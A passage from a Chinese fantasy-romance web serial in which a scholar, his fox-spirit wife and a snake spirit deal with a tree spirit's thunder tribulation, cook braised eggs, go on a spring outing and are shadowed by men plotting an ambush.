但方才童正存了利用他分担劫雷的算计,他便决意要给对方一个记忆深刻的教训,所以他一直等到童正被劫雷劈得半死不活,才从容不迫地出手。 童正陡然发现头顶的劫云已散,此刻才终于明白,雷劫已过,狂喜瞬间涌上心头,此刻他已不在意方才那奇怪物事究竟是什么,只反复告诉自己,是那书生自劫雷下救了他的性命。 雷劫一过,他便可以再活上千年。 后面这一千年中,有了这次对付雷劫的经验,他再一心精进苦修,下一次雷劫来临之时,即便无人相助,靠自己成功度过的概率也会大大增加! 紧接着,童正又想到,自己方才因畏惧死亡,生了算计对方之心,对方却不计前嫌,出手相助……心中更是百感交集,羞惭交加,恨不得用仅剩的力气劈开一条地缝,直接钻进去。 他刚要开口道谢,定睛一看,不知何时,那书生的身影已经从眼前消失。 耳边,唯有淡淡的传音回荡。 “无需多言,明天记得来将鸟拿走。” 童正连忙点头,表示自己记下。 然后,他闭上眼,开始用所剩的几条树根,吸纳起了土地中的养分…… …… …… 雷声停歇后,雨势渐止。 在雨后格外清新的空气中,白崖村迎来了新的晨曦。 前院中,胡翘翘一边细心地替陈子均整理着衣襟,一边软声叮嘱,“下了雨,路上湿滑,相公去塾堂的时候要注意一点。” 陈子均在她额头上亲了一口:“好。” 这时院门被人敲响,胡翘翘有些讶异地扭头,“这么早,会是谁呀?” 陈子均过去打开门,门外站着的那人见到他,立即恭恭敬敬道:“叨扰秀才了,按约定,童某来拿昨晚的鸟儿。” 胡翘翘的脑袋从陈子均身后探出来,大眼轻眨,有些纳闷儿,眼前这个满脸连一根眉毛胡子头发也无,皮肤乌漆嘛黑,活像个大号人形卤蛋的家伙是谁? 直听到声音,她才辨出了对方的身份,竟是昨晚那个看起来和蔼可亲如邻家老爷爷般的梧桐树精。 “童爷爷,你怎么变成这样啦?你的眉毛、胡子和头发呢?”胡翘翘好奇地问。 “昨晚我被天雷劈焦了,是以头发胡子眉毛都没了。”童正讪讪地回答。 闻言,胡翘翘忧心忡忡地问,“那以后还能长出来吗?” 若一直是卤蛋模样,那就太丢人了,换做是她,宁可死掉。 哎呀,说起卤蛋,她突然有点馋了…… 好像那天有村民送了些做卤菜的香料来,要不,今天做几个吧。 虽说她不知道卤蛋该怎么做,但可以找别人学,村里有几个大娘就挺擅长做卤菜…… 童正咳了几声,“会长的,过几日就能恢复了。” 胡翘翘这才放下心。 这时,陈子均对她道,“娘子,去将鸟拿出来。” 胡翘翘将鸟窝自房中捧了出来,交给童正。 看着鸟窝中那几只叽叽喳喳的小鸟儿,童正卤蛋般的老脸上露出个和蔼的笑,“我那里是住不成了,给你们找个新住所吧。” 他携着鸟窝,轻轻一跃,飞上旁边的一棵大树,将鸟窝小心翼翼地放好,才复落下地来,对陈子均双手合十,行了一礼,“多谢秀才。” 陈子均“嗯。”了一声,问,“还有别的事吗?我该去上课了。” “秀才稍候,还有最后一件事,”童正站正了,从袖子里掏出两个银光闪烁的果子,神情郑重地递给陈子均,“一点微薄心意,望秀才和小娘子笑纳。” 陈子均微微一怔,接在手中。 “这是什么果子?”胡翘翘好奇,这果子形状和普通梧桐树果一样,但银光闪闪,其中似乎蕴藏着奇异的能量,即便她这个小白,也感觉到不是平凡之物。 “这是昨晚我度完雷劫后,用残存的劫雷之力,结出的几颗雷果中的两颗。”童正微笑着回答,“每一颗里,都含有一丝劫雷之力。” “这……这果子里面有劫雷?”胡翘翘吓了一跳,原本想伸过去触摸的小手条件反射地收了回来,但立即又觉得不妥,急切道,“相公、相公,快将它们放下,小心……” 这老卤蛋可真坏,居然将这么危险的东西送给相公! 童正笑道,“小娘子别担心,只要不将它用力捏碎,里面的劫雷之力便不会释放。” 胡翘翘将信将疑地瞅着他,“……真的吗?” “千真万确,”童正说完,习惯性地去捋胡须,手一薅,薅了个空,顿时有些讪讪,“以后秀才和小娘子遇到危急之事,或许它们能对两位起到少许帮助。” 昨夜过后,他一共只凝结出了五颗这样的雷果,现在便一次性地送出了两颗。 而他送这两枚雷果的用意,当然不是为陈子均。 真有连对方的实力都解决不了的事儿,雷果也起不到多少作用。 但对方身边的这只小狐妖修为还浅薄得很,对她来说,这雷果的用处便不小了,里面的劫雷之力虽远比不上真正的劫雷,但即便是凝了妖珠的大妖猝不及防地挨上一下,也得吃个大亏,毕竟无论是何种类的妖鬼精怪,都天生会被劫雷这种至刚至阳之力克制。 而且,这雷果中的劫雷之力还携了一丝极微弱的雷道法则,若是小狐妖能从中参悟出一二心得,将来她需要度雷劫时,必然会轻松不少。 这些话他虽然没摆在明面,但相信对方能看出自己的诚意。 第45章 你爱吃卤蛋么 果然,童正刚说完,便见到陈子均点了点头,“这礼物我们的确需要,多谢了。” “不叨扰秀才和小娘子了,童某告辞。” 童正复行一礼,身形逐渐淡去,他虽然成功度过了雷劫,但本体和神魂其实都受伤颇重,能支持化形到现在已经颇为吃力,所以散去化形,回归了本体,后面在慢慢吸收元气修复。 陈子均转头,将两枚雷果转交给了胡翘翘,“娘子,你留着它们。” “噢!”胡翘翘刚要接过,一愣,“两颗都给我?” 陈子均微微一笑,“这样我就不用担心我不在时,娘子会遇到危险了。” “我是妖怪,比较厉害,还是相公自己留着吧!”胡翘翘猛摇头,为了证明自己的话,还特意施展了一个生火咒,指尖啪地跃起小小的火苗,“你看,我最近学会了好多法术呢!” “不行,”陈子均语气坚定,“我知道娘子比我厉害,但我是男人。” 胡翘翘陷入为难,她知道相公的性子,做的决定从不轻易更改,刚想说要么一人一个,忽地抿了下唇。 倘若相公不小心将雷果碰碎,他是凡人之躯,后果不堪设想。 罢啦,这种危险之物,还是她亲自保管更为放心,只要她不和相公分开,那即便相公遇到危险,她也可以及时出手。 “那我听相公的话,都由我保管。”胡翘翘有些提心吊胆地将那两枚银光闪闪的果子放进腰间的小荷包,又轻拍了一下胸口,默默叮嘱自己务必要小心谨慎,别不小心给压碎,让她自己变成另一个卤蛋就糟之大糕了。 此事告一段落,陈子均出门去了私塾。 胡翘翘无事可干,便拉上小青去村口查看老梧桐树的情况。 远远地,二女便闻到一股焦糊味。 那棵高耸入云的梧桐树已经不复存在,在它原本的位置上,只留下半截黑炭似的焦黑树桩,还有不少村民正围着它,不停摇头惋惜。 “昨夜的雷太厉害了。” “对啊……可真吓人。” “可惜这棵梧桐树,至少活了一两百年,就这么被雷劈死了。” 胡翘翘接口道,“它还没死呢。” 闻言,有人仔细看了会儿,果然发现了光秃秃的树心外,竟还覆盖着一层薄薄的嫩皮。 大家都喜笑颜开起来。 “还真的还没死。” “太好了。” …… 小青盯着那焦黑的木桩看了许久,方心惊不已地收回视线。 昨晚童正的话,她也听到了大半,勉强算是知道来龙去脉,但并不清楚陈子均在其中起的作用。 她自然明白,对妖怪来说,每千年一次的雷劫,几乎就是一场生死考验,过得去,则生,过不去,则死。 但她自己还是个小妖,而她与白素贞相遇时,后者已成功过了雷劫,所以对雷劫的威力,她只是耳闻,却未曾目睹,更没亲身体验过。 直到,今天…… 她才意识到,雷劫的威力有多恐怖。 如果发生在她的身上…… 她能过得去么? 她的妖龄已经七百多年,只剩两百余年就要面对雷劫,但现在她修为大损,别说度过雷劫了,什么时候能恢复如初,都还是个未知数,除非……除非她能吞吃其他妖怪,吸收了对方的妖力,才能让实力加快恢复。 “雷劫真的好厉害,那么大的一棵梧桐树,被劈成了这样。”胡翘翘也有些心有余悸,看向小青,“对啦小青,你不是说你姐姐是一千多年的妖怪么,那她应该过了雷劫吧,是怎么过的?” “我姐姐曾无意中得到了一颗佛门高僧的舍利子,有那舍利子中的功德之力相助,她才顺利度过了雷劫。”小青回答。 所以,后来姐姐便整日吃斋念佛、打坐诵经。 除此之外,姐姐还一直劝她修身养性,不要动辄为些许小事,就动嗔怒,还要她一起打坐念经,否则将来难过雷劫,她自然知道姐姐的话有道理,但她天生火爆脾气,一点就炸,让她整日对着佛像,枯坐蒲团,念那些无趣之极的阿弥陀佛,她宁死也忍受不了。 久而久之,姐姐也只能随她去了。 不过,姐姐虽过了雷劫,那情字一劫,却没能过去,念再多的佛又有何用,现在还不是被青山宗压在了塔下…… 胡翘翘见小青神色郁郁,猜测她应该是又想起了那白娘子,心中微感内疚,早知道她便不提这个话题了,一双小手交叠着扭在一块儿,一时也不知道是该转移话题,还是应该安慰小青。 若是转移话题的话,又该说什么呢? 目光瞥到那棵焦枯的梧桐树,胡翘翘灵机一动,长睫扑闪,柔声问道,“小青,你爱吃卤蛋么?” “啊?”小青有些茫然,不知话题怎会突然转到卤蛋上,“还、还不错吧。” “正好我也想吃,不如,我们去学怎么做卤蛋吧。”胡翘翘嫣然一笑,“正好家里有不少鸡蛋呢!” “好啊!”小青放下心思,笑道,“对了,上次还剩了不少的野猪内脏,我们也可以卤着吃,卤猪肝、卤大肠……都特别好吃!” 胡翘翘听着听着,妩媚的眼眸同嘴角一起闪闪发亮,“真的么?” “当然啦,我在钱塘县里时常会吃的!尤其是卤大肠,美味之极!保证翘翘姐你吃过一次便想吃第二次!” …… 卤蛋的做法挺简单,鸡蛋冷水入锅,煮熟后捞出,过凉水后去掉蛋壳,再放入锅中,加入按照重量配比好的各式香料、酱料、盐巴……加水没过鸡蛋,煮约莫两刻钟,熄火并让鸡蛋继续在卤水中浸泡,小半天后便能入味。 在卤蛋的时候,也可以一并卤些别的肉菜或是素菜,更加方便。 卤完之后,剩下的卤水不用丢弃,下一次要卤菜时,直接添加一些香料和水便能再继续使用,而且,卤水被使用的次数越多,各类食材的精华便能融入越多,味道也会越香。 胡翘翘按照村中大娘教她的配方,卤了一大锅,有鸡蛋、莲藕,也有小青说的猪肝、猪大肠,还有两块猪肉…… 小狐妖尝了一小块卤好的猪肝,弯起眼,“真香!” 相公一定爱吃! 后院的树上,一个小女孩口水流得三尺长,满树爬来爬去,“香,香,我也想吃,呜呜呜……” 午时,陈子均从私塾出来,刚走到自家小院前,便看到了在不远处徘徊的黑瘦少年,后者的手中还拎着一头名为赤麂的小兽。 “这小子,怎地又来了。”他有些无奈地叹了口气。 第46章 谁对相公不好,我就觉得谁不好 担心相公觉得几样卤菜太油腻,胡翘翘又准备了凉拌黄瓜丝,一份豆芽酿豆腐,一碗蘑菇汤。 她刚将汤菜端上桌,外面隐约传来陈子均的声音,她一出厨房,便见到陈子均和那个叫顾行天的黑瘦少年一同走进前院。 将赤麂放到院中的地上,顾行天便要离开。 “你且等会,”陈子均叫住他,“正好是饭点,你应该还没吃饭吧,一块儿吃。” 胡翘翘一边端水走过来,边附和道:“是呀,一起吃吧,今天中午我做了好多菜呢!” 顾行天一愣,完全没预料到陈子均夫妻竟然会留他吃午饭,连忙摆手,“不用了公子,我回家再吃就行。” 在他看来,公子开口留他吃饭,是公子平善近人,但他要是答应,就属于不晓礼数。 “让你吃就吃。”陈子均瞥了他一眼,在胡翘翘端过来的盆子中洗着手,“我说过,不喜欢占别人的便宜,不吃这顿饭的话,下次便不要来了。” 顾行天愣了愣,有些不知所措起来。 公子说话时的神情和语气分明很淡,但听在他的耳中、落在他的眼中,竟然有种让他无法违抗的威严之感。 犹豫片刻,他局促地点头,“那、那多谢公子和娘子了。” 陈子均取葛布擦净双手,视线落在了一边正要若无其事地躲进房间的青蛇身上,“小青,去给客人打水洗手。” 蛇妖的脸顿时黑了,站在那里,脚步像生了根般地一动不动。 “不敢麻烦大姐,”顾行天牢记要在公子面前保持礼貌,以最客气的语气道,“大姐,你帮我拿个盆子,我自己去打水洗手就好。” 小青:“……” “我这里,没有让客人自己动手的待客之道,”陈子均瞥了青蛇一眼,淡淡道,“听见了吗?” 青蛇暗暗磨牙,却不敢违拗,只能去打水给顾行天。 顾行天又是连忙一迭声的“谢谢大姐。” 洗完手后,他跟着陈子均一起进了厨房。 见饭桌前只有三张椅子,陈子均再次看向小青,“去多拿一张椅子来。” 小青:“……” 气死蛇了,气死蛇了! 看着小青怒气冲冲夺门而出的背影,胡翘翘一头雾水,轻声问陈子均:“相公,小青看着像在生气,她怎么了?” 明明方才还好好的呢,顾行天一来,她的脸色就截然不同了。 “她的脾气本来就不好,”陈子均淡淡地说,“没事生点气有什么可奇怪的。” 顾行天也心有戚戚焉。 也不知道自己上次建议大姐找公子看病,她有没有听取,这脾气怎地感觉一次比一次大了。 胡翘翘蹙眉,“有吗?我觉得她挺好的呀,平时都和我有说有笑的。” 陈子均几乎要被她逗笑了,“你有觉得不好的人吗?” 胡翘翘不假思索,甜甜地道,“谁对相公不好,我就觉得谁不好。” 陈子均轻咳了一声。 胡翘翘这才注意到一边的顾行天。 后者的脸色黝黑,倒看不出有没有红,但耳朵却分明已经红得发赤,低着头在那儿眼观鼻鼻观心,呐呐不语。 于是,她白嫩的小脸也顿时泛起了一层绯色。 平素家里没外人,她早就习惯了和相公不时说几句缠绵情话,结果今天没注意,竟在客人面前忘形失态。 她支支吾吾道:“那个……我去盛饭。” 小青的脚步刚出厨房,心中忽地一动,某个恶劣的想法涌上…… 将椅子搬回厨房放下,正好见到胡翘翘在盛饭,小青连忙走过去,笑道,“翘翘姐,你只盛你和公子的便好,我来负责客人的。” 等胡翘翘走开,她先动手盛出两碗饭,余光快速掠了余人一眼,似乎没人注意,她便无声地冷笑一下,对着其中一碗悄悄吐了一小口唾沫,再用指尖轻轻搅开。 这一口唾沫,自然不是寻常的唾沫,其中掺杂了少许她的毒液。 毒液的分量不至于致命,但只要那臭小子吃下这碗饭,肚子难免疼上几天。 一想到顾行天疼得满头大汗,虚弱无力的模样,小青便开心得几乎要翘起尾巴。 活该,谁让他如此可恶,整天一口一个“大姐”地叫她! 小青脚步轻快地走到桌前,看着顾行天,笑眯眯地将掺有毒液的那碗饭递过去,“客人,请吃饭。” “劳烦大姐了。” 顾行天忙说了声,伸出双手,去接饭碗。 “等一下。”陈子均忽然说。 顾行天的手顿在半空,和小青一起扭头看向他。 “小青,你和他换一碗。”陈子均淡淡地说。 顾行天和胡翘翘都是一愣,小青的脸色却是骤然一变。 “为什么?” 顾行天忍不住问。 陈子均并未解释,只是略带冷意地看着小青,“没有下次。” “……知道了。”小青咬了咬唇,垂下脑袋。 等小青将两碗饭换过来后,陈子均方拿起筷子,道:“吃吧。” 紧接着,他的碗里便多出了一个香喷喷的卤蛋,跟着响起的还有胡翘翘甜甜软软的嗓音,“相公,这个蛋应该是卤得最入味的,你尝尝。” 陈子均夹起来,咬了一口。 胡翘翘就这么一眨不眨地看着他,红唇翘出期待的弧度。 “嗯,”陈子均点点头,笑道,“娘子做的饭菜,果然全天下最好吃。” 胡翘翘的笑彻底绽放,心里全是满足,自己也捧起碗,吃了起来。 陈子均吃了几口,注意到顾行天依旧局促,基本只吃碗中的米饭,再象征性地夹一点面前的黄瓜丝,当即皱眉,“男子汉怎么如此扭捏,多吃些菜。” 顾行天连忙应了一声,这才对着其他菜伸出筷子。 吃了会儿,陈子均看向顾行天,开口道:“明日休沐,我想带我娘子出门踏青,这附近的山间有没有什么风景优美的去处?” 《黄帝内经》里便有,“春三月,此渭发陈,天地俱生、万物以荣。” 三月末,正是踏青的最好时节。 胡翘翘一愣,接着是巨大的惊喜,她迫不及待地扬起唇角,“相公,你刚才说明天带我去踏青?” “看你这段时间读书挺辛苦,让你散散心,”陈子均瞥了眉开眼笑的娘子一眼,不紧不慢地吐出后半句,“但有个条件,你要先能将那几页默写出来。” 小狐妖扬起的笑就僵在了嘴角。 “默、默写?”她睁大黑白分明的双眸,结结巴巴道,“背下来不行吗?” “默写一遍,才能记得更牢固。”陈子均挑起眉,“怎么,娘子不想去踏青了?” “想,当然想!” 小狐妖握紧了拳,为了能和相公一块去踏青,哪怕今晚不眠不休,她也一定会将它们成功默写出来! “回公子,我倒是知道几处适合踏青的所在,只是……”顾行天挠挠鼻子,神情有些担忧,“这一带山间野兽颇多,就你和娘子两人的话,未免不太安全。” 陈子均摆摆手,“无妨,那几处地方在哪儿?” 顾行天略一思索,“不如这样,明日我来做公子和娘子的向导,保证你们安安全全上山,再安安全全地回来!不然,我不放心!” 陈子均见他语气坚持,加上多一个人也无所谓,颔首道,“也可。” 第47章 读书人,带条墨锭很正常 当晚。 “……聚神宁心,松静自然,唇齿轻合,呼吸缓紧,收聚月华,达于神庭,进入天心,降至气穴,环至灵台,绵绵若存……” 写下最后一个字,胡翘翘轻呼出口气,放下手中的笔,再仔细检查一遍,才扭头看向陈子均,“相公,我默写完了。” 陈子均伸出手,“给我看看。” “……”胡翘翘顿时有点儿心虚,扭捏着将一叠纸递在他掌心中,小声补充,“那个,人家的字不太好看,你不许嫌弃……” 陈子均看着那满纸大小不一、歪七扭八、还涂画得乱七八糟的字,表情却连一点儿变化都没有,从第一句开始,慢慢看了起来。 胡翘翘坐在一边,紧张忐忑地注视着他脸上的神情。 应、应该没问题吧…… 她自己刚才检查,除了字丑一点,涂抹得多一点,没发现什么错误…… 陈子均从头至尾翻了一遍,才放下纸。 胡翘翘眼巴巴地看着他,“相公,怎么样呀?” 陈子均静默了会儿,突然弯起唇角,抬手捏了一下她的脸,“不错,勉强过关了。” 胡翘翘心中一颗石头落地,忍不住吹嘘道:“那当然,翘翘可是很聪明的,只要稍微认真一点点,读书这种小事情,比吃饭喝水还简单。” 陈子均看着她一脸的得意洋洋,突然笑容一敛,淡淡地问,“你的意思是,之前我让你读书的时候,你一点都不认真,全在敷衍?” 胡翘翘:“……” 完啦,搬石头砸自己的脚了! 她眼珠一转,连忙用手揪住自家相公的衣袖,软软糯糯地狡辩起来。 “才没有,以前也很认真的,不过,相公你也应该听说过,有的人本来是个笨笨的草包,突然有一天就开窍变聪明啦,翘翘也只是突然开窍了而已啦……就算这样,翘翘这点小聪明,和相公比起来差得还远着呢。” 陈子均毫无波澜地看着她。 “而且,翘翘能背会,除了突然变聪明之外,更多的是相公的功劳,因为相公教得好,有耐心……”胡翘翘伸出柔嫩的小手,一下一下地捏着陈子均宽宽的肩,绝美的小脸上全是讨好谄媚的表情,“相公大人辛苦了,相公大人劳苦功高,翘翘来给你按摩……哎呀,相公大人的肩真宽呀,真结实呀,捏起来真舒服,翘翘捏一辈子都不够……” 陈子均彻底绷不住了,“若是科考有溜须拍马这一门,我看你定能拿个状元。” 胡翘翘不以为耻,弯起红唇,露出一个甜甜的笑,“那也是相公大人教导有方……呀!” 她惊叫一声,原来是陈子均突然站起身,一只手穿过她的膝弯,将她直接打横抱了起来。 “相公,你要干什么?” 陈子均抱着她走到床边,将她放至平躺。 然后双手撑在她小脑袋两边,以一种居高临下、压制住她的姿势,似笑非笑地盯着她。 “这张小嘴,怎么如此会甜言蜜语?难道偷偷吃过糖了?” 因为猝不及防,胡翘翘红唇微张。 她睁大眼,黑漆漆的眸子带着湿漉之意。 小声嗫嚅道,“没、没有呀。” “我不信,”陈子均低下头,似笑非笑地说,“我尝一尝,就知道了。” …… 片刻后,快要喘不过气的胡翘翘用手抓着陈子均前胸的衣服,嘤嘤地小声道,“相公,我、我有些儿难受……” 陈子均问:“怎么了?” 她眼波如水,身体轻轻扭动着,声音也变得愈发绵软无力,“我也不知道,就是……就是感觉很奇怪……” 每次被相公亲过后,身体就会变得软软的,好像力气全都消失了,只想被相公用力抱紧,然后…… 然后再怎么样,她也不清楚,只觉得像有团小小的火苗,从肚脐下三寸的位置开始点燃。 热气一点点延扩到全身,她整个人都像是要融化掉。 她也不知道该怎么做,才能缓解这种的奇怪的感觉,只是拼命朝陈子均贴紧,在他微带凉意的身上来回蹭着…… 陈子均咳了声,轻揉着她的头顶:“可能是你身体还没好的缘故,乖,睡觉吧,睡着便不难受了。” “是……是这样吗?” “你不信我的话?” “信。” 胡翘翘乖乖闭眼。 过了会儿,她并未睁开眼,只是有些疑惑地喃喃道,“相公,你为何总喜欢将墨锭带在身上啊?” 硬硬的,硌得她很不舒服。 陈子均又咳了一声,道:“我是读书人,随身带条墨锭也很正常……好了,我去将它收起来,娘子也快睡吧,睡醒就可以去踏青了。” “嗯……” …… 鸡啼一声天下白。 但在鸡啼前,胡翘翘便已经和陈子均起了床,和小青一起在厨房里忙碌地为今日的踏青做准备。 小青蒸制了若干块玉米饼子,一部分当做早饭,剩下的晾凉后,再用油纸包起来,作为几人待会儿上山后的午饭。 胡翘翘则是在整理要带去的各种物品。 “汗巾应该要带上,万一相公累了出汗,可以用来给他擦汗……嗯,再带几样点心,中途相公若是肚子饿,就先用点心垫垫……” 天空渐渐明亮,风日晴和,蓝天白云,很显然,今天是个好天气。 也是个极为适合踏青的好日子。 辰时,顾行天来到了陈子均的院前,他一身短装,背负弓箭,腰间挂着个弹弓,靴筒内插着一柄短匕,背后还有个兽皮囊,装着一些常用物品,正是他平日上山打猎的全套装束。 “你再等会儿,我们马上便好。”陈子均推门出来,对顾行天说了一声。 胡翘翘还在研究要穿出门的衫子,小狐狸虽是妖怪,但爱美之心也不输人类,好在陈子均出来时她已经快选好了,只是在穿鹅黄那件还是嫩绿那件间犹豫。 “不着急,公子慢慢来。”顾行天忙道。 陈子均又想起什么,踏入后院,走到那簇盛开着的栀子花之前,挑选片刻,伸手掐了一朵,准备待会儿给胡翘翘,接着,他又抬头看向树顶,微微一笑,“好好看家,别淘气啊。” 说完这句话,他转身走了出去。 等他的背影消失,枝叶晃动,一张怒气冲冲的可爱小脸自树叶中探出。 “大坏蛋,竟命我看家,我又不是小狗!” 第48章 【求追读】跌落鬓边栀子香 因为小青平时爱穿绿,胡翘翘最终选了那件鹅黄色的外衫,搭配月白色的长裙,看着便如这春日般温柔动人。 “相公~我好啦。”小娘子俏生生地出现,甜蜜蜜地唤了句。 陈子均微微一笑,将那朵洁白的栀子花别在她云鬓之上。 “走吧。” 顾行天在前带路,陈子均、胡翘翘与小青跟在他的身后,几人很快离开了村庄,登上了一条稍显崎岖的山路。 小青其实不太乐意,但还是被胡翘翘拉了来。 虽还未入夏,但天气已经颇为温暖,走在山间没多久,胡翘翘的额上已经布了一层薄汗,白嫩的小脸染上红霞,眼睛却闪闪发亮,欢快雀跃地这边看看,那边瞧瞧。 虽说她和相公已经在白崖村住了近三年,但因为她身体欠佳,平时连村都极少出,像这样来山间踏青更是第一次,看什么都新鲜。 “累不累?”陈子均不紧不慢地走在她的身边,关心地问。 “有一点点,不过不要紧,”胡翘翘扬起唇,灿烂一笑,摸出汗巾,给自己擦了下汗,又有些讶异地看着连大气都没喘一下的陈子均,“相公你竟然连汗都没出,我还以为你会比我先累呢。” 陈子均挑眉,“在你的心里,我就这般没用吗?” “翘翘错了。”她连忙道歉。 小狐妖认真反省,自己不应在外面说这种话,要时刻维护相公的面子才对。 小青撇了下嘴,心中默默地道,傻狐狸,我们四个之中,最不可能出汗的恐怕就是公子了。 而此刻,在四人身后,却又有几道身影,正不远不近地缀着。 …… “那边的山坳里有一处山坡,开了许多野花,很是漂亮。”这附近的山林,顾行天已经走过无数次,所有地形与风景他都烂熟于心,一边走,一边抬手指点,“如果从这条小路走三四百步,便能见到条小溪,溪边有几棵桑树和杏子树,桑葚应该已经能吃了。公子想去哪边?” 陈子均看向胡翘翘。 胡翘翘迟疑会儿,还是桑葚的吸引力比较大,做出决定:“嗯,去溪边吧。” 果然,数百步后,一条潺潺流淌的小溪便出现在了几人的眼前。 这溪水的水质清澈至极,一眼便能看清水底的细沙和鹅卵石,不时还有鱼儿摇摆着尾巴,在溪水间游过。 “哇,好清的水呀……” 胡翘翘眼睛发亮,感叹一声。 溪边果然有几株桑树和杏子树,但杏子还没结出来,只有满树的杏花,桑葚则已变成了黑红色,显然已经熟透,不少桑葚掉在地上,几只鸟雀儿正忙碌地啄个不停。 “走,翘翘姐,我们去摘桑葚。”小青将胡翘翘拉到桑树下。 两个女孩儿卷起袖子,露出霜雪般的玉臂,开始摘起了桑葚。 胡翘翘摘了一颗桑葚放进嘴里,酸酸甜甜,甚是好吃,于是又摘了几颗,用帕子捧住,欢天喜地地跑回到陈子均的身边,拈起一颗放到他唇边。 “这桑葚挺甜的,相公你快尝尝。” 她十指玲珑,虽然未蓄指甲又不着蔻丹,但根根若削葱白,与紫黑色的桑葚相映衬,一时竟让人不知道哪个更好吃一些。 陈子均低下头,嘴唇就着她的手指,吃了两三颗桑葚,“好了。” 胡翘翘软声道,“再多吃几颗。” 陈子均不忍拂她的意,又吃了两颗。 “不错。” 胡翘翘眉眼弯弯地道,“好吃吧,我再去多摘一些。” 这时,陈子均目光一扫,发现了什么,旋即勾起唇角,微微笑道,“娘子等会儿,我突然有了诗兴,想作一首诗送你。” “作诗送我?”胡翘翘一愣,眼里绽放出惊喜,“好呀,相公快说。” 陈子均看着她,慢条斯理地吟道,“山道宛自白云生,春光始于清溪长,侍女相唤摘桑葚——” 说到这里,他故意停顿了下来。 胡翘翘好奇地追问,“最后一句呢?” 陈子均又顿了会儿,才不紧不慢地接了下去。 “——跌落鬓边栀子香。” 胡翘翘睁着明眸,她自然觉得相公做的诗是极好的,正要大肆赞美,马屁如潮,但看着相公似笑非笑的神情、似含着几丝促狭与调侃的目光,直觉没那么简单,便又将这几句诗在心中默默咂摸了一遍。 “山道宛自白云生,春光始于清溪长,侍女相唤摘桑葚,跌落鬓边栀子香……” 忽地,她反应过来,抬手往头上一摸,便是一愣。 哎呀,她的那朵栀子花哪儿去了?! 小狐狸左右转动脑袋,终于在不远处发现了落在地上的栀子花,连忙跑过去捡起,再重新插回头上,冲正看着她笑的陈子均吐了吐舌头。 相公真是坏心眼儿,明知她的花掉了也不直说,非要作一首诗来拐弯抹角的提醒。 哎呀,不行,自己怎么能说相公坏心眼儿呢。 这明明是相公和自己的小小情趣嘛! 胡翘翘心里甜甜的,回了陈子均一个明媚动人的笑,又跑去和小青一起摘桑葚了。 很快,二女各自捧着一大把桑葚回来。 陈子均抬头看了看已经快爬上天空正中的日头,道,“我们就在这里歇息片刻,再吃点东西。” 小青便将带来的一块麻布铺在地上,当作垫子,先让胡翘翘坐下,再把准备好的玉米饼子拿了出来。 这时,顾行天说:“公子先别忙着吃饼,这溪里有鱼,我去抓几条来,一会生火烤了,配这饼子一起吃,味道更好。” 陈子均沉吟了下,点点头,“好。” 小青哼了一声,看着顾行天朝溪边走去的身影,用一种闲聊般的语气,漫不经心地对胡翘翘说,“这鱼滑不留手的,有那么好捉吗?吹牛也不打草稿,还几条呢,我看他八成连一条都捉不到。” 胡翘翘却笑眯眯地道,“没事呀,抓不到鱼我们就只吃饼好了。” 小青撇了下嘴,目光又朝顾行天瞥去。 这时顾行天已经走到溪边,他自腰间抽出弹弓,又摸出一颗弹子,对着溪水,直接打出。 噗地一声,一条尺许长的鱼儿便翻了肚皮。 顾行天脱下鞋子,踩进溪水,将那条鱼拎出来,放在旁边的草地上,随后视线一扫,又选中了不远处的另一条鱼,弹弓拉满,弹子闪电般地射出,于是乎,那条可怜的小鱼也步上了前面同类的覆辙。 他弓无虚发,连射四下,草地上便多了四条鱼,大的重量近一斤,小的也有四五两重。 第49章 【求追读】直接动手杀了 顾行天这才罢手,蹲在小溪边,掏出靴筒里的短匕,开始杀鱼。 他处理鱼的动作十分炉火纯青,先是熟练地用匕首给鱼刮去鱼鳞、去腮、开膛、去内脏,再把鱼身划几道口子,方便烧烤,最后在溪水中清洗干净。 他又折下几根树枝,一头削尖,从鱼口中插入,至鱼尾处穿出,这样一来,四条鱼串便做好了。 将短匕插回靴筒,拿着四串鱼,顾行天回来对陈子均道:“公子,我先抓了四条,如果待会儿不够吃,我再去捉。” 陈子均笑道:“辛苦了。” 小青却又哼了一下,声音低低地嘀咕,“四条鱼很了不起么,我要是用法术,或者变回原形的话,别说四条鱼了,一下子四十条也能抓得到呢。” 顾行天找来石块架了个围塘,要烤鱼自然要有柴火,他又去林子里捡柴。 这山林中,别的不多,枯枝败叶俯拾皆是,但前几夜打雷下雨,大部分树枝树叶还有些潮湿,他走了一段路,也没捡到足够的柴火,只能往林子里越走越深。 与此同时,不远处,有几双阴冷的目光正注视着顾行天,近乎窃窃的私语着。 “这几人中,唯有这小子稍微棘手一点。” “此刻他落了单,正是天赐良机。” “先把他解决了,余下一个手无缚鸡之力的书生,两个女人,便不费吹灰之力。” “嘿嘿,这荒山野岭的,果真是杀人灭迹的绝佳所在……” …… 见枯枝已经捡得差不多,顾行天转身准备返回。 “嘶——好痛——”不远处突然传来一阵呼喊声,“有没有人啊——救命——” 顾行天迟疑片刻,走向呼声传来之处。 不远处的地上,居然躺着个光头男人,而那一声声的痛呼,便是从对方的口中传出。 听到脚踩在落叶枯枝上发出的沙沙声,光头男人立即抬头,露出张横肉密布、带着种天生的凶狠感的脸。 见到顾行天,他立即面露喜色,痛苦呻吟道,“兀那少年,我方才不小心扭了脚,现在行动不得,你帮帮忙,过来扶我一下。” “……” 顾行天却在离他还有七八米远的地方站住了脚步,身形未动,视线已快速掠过四周,在几处被压伏的小草、湿润地面的淡淡脚印上一晃而过。 光头男子见顾行天不动,口中的呻吟声更明显了几分,“帮帮我,疼死了……” 两人之间还有七八米的距离,这样的话,他们可没有完全的把握让这小子无法逃走。 虽说即便对方逃了也未必会有什么事,毕竟这小子不是他们的目标,但他们已经商量过,以防万一,除了那小娘子,余人都不要留下活口。 毕竟,只有死人才不会泄露任何秘密! 顾行天依旧站在原地,漠然道,“又没有好处,我为什么要帮你?” 光头男子垂下眼皮,掩住一闪而逝的凶光,他的手悄悄摸在了胸口,那里藏着一把匕首,此刻他甚至已经幻想到等抓住这黑瘦少年时,自己便会用它,狠狠捅进对方的胸口! 抬头时,已经变成了笑意,伸手自衣服里摸出一块重约四五两的银子。 “放心,我不会让你白帮忙,将我扶下山,这银子便给你。” 顾行天的视线落在那银子上,似乎看直了眼,心中却在快速分析。 面前一个,左边一个,右边两个…… 一共四个。 作为一名优秀的猎人,强烈的危机预感必不可少,这几人如此藏头露尾,隐匿行迹,必定目的不善。 那么,他们如此做,又有什么目的呢? 顾行天又瞥了一眼那光头男子,方才对方眼中流露出的一抹杀意,被他及时捕捉。 